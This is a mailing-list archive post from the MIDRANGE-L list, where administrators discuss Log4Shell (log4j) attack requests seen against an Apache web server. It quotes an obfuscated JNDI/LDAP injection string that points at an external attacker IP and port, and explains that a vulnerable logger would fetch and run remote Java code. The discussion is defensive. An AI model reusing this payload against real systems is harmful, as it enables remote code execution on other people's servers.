The attacker controls 45.146.164.160.1389

Charles

On Wed, Dec 15, 2021 at 8:12 AM Brad Stone <bvstone@xxxxxxxxx> wrote:

On Wed, Dec 15, 2021 at 9:10 AM Kevin Bucknum <Kevin@xxxxxxxxxxxxxxxxxxx>
wrote:

This is the type of request that I'm seeing against an apache web server.
Not vulnerable in itself, but suppose I'm running a java application
under
WAS. Logging either within my application or with WAS using a vulnerable
log4j version.

${${lower:${lower:jndi}}:ld${lower:ap}://45.146.164.160:1389/t}

That will cause the process doing the logging to make a connection to the
server running at 45.146.164.160 and execute the java code that it gets
back.


Wouldn't the attacker need to know not only the IP of the server, hope it
has java code on it, and in the path they use?
--
This is the Midrange Systems Technical Discussion (MIDRANGE-L) mailing list
To post a message email: MIDRANGE-L@xxxxxxxxxxxxxxxxxx
To subscribe, unsubscribe, or change list options,
visit: https://lists.midrange.com/mailman/listinfo/midrange-l
or email: MIDRANGE-L-request@xxxxxxxxxxxxxxxxxx
Before posting, please take a moment to review the archives
at https://archive.midrange.com/midrange-l.

Please contact support@xxxxxxxxxxxxxxxxxxxx for any subscription related
questions.

Help support midrange.com by shopping at amazon.com with our affiliate
link: https://amazon.midrange.com


As an Amazon Associate we earn from qualifying purchases.

This thread ...

Replies:

Follow On AppleNews
Return to Archive home page | Return to MIDRANGE.COM home page

This mailing list archive is Copyright 1997-2022 by midrange.com and David Gibbs as a compilation work. Use of the archive is restricted to research of a business or technical nature. Any other uses are prohibited. Full details are available on our policy page. If you have questions about this, please contact [javascript protected email address].

Operating expenses for this site are earned using the Amazon Associate program and Google Adsense.